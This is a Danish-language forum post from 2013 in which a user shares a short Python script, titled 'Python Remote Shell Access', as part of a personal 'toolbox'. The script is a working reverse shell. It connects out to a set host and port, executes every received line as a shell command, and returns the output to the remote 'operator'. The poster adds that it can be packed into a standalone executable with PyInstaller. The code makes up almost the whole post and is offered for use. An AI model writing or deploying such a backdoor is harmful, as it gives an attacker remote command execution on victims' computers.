Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
Python Remote Shell Access
27-05-2013, 21:34
#1
Python Remote Shell Access
Et hurtigt lille script jeg har samlet.
Kode:
#!/usr/bin/python

import subprocess, socket

HOST = "127.0.0.1"
PORT = 6666

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send("Welcome Op3rat0r!\n")

while 1:
    data = s.recv(1024)

    if data == "exit\n":
        s.send("Op3rat0r Out")
        break
    else:
        process = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                                        stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdoutput = process.stdout.read() + process.stderr.read()

        s.send(stdoutput)
s.close()

Som sagt, et ganske simpelt lille script. Det har sine begrænsninger. Man kan "compile" det til machine code med PyInstaller, men så skal man finde sig i størrelsen (2MB+).

Ovenstående et et udklip af min "værktøjskasse" - Forvent at se mere af det hen ad vejen.

Kom endeligt med spørgsmål & kommentare her i tråden eller på PM!
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)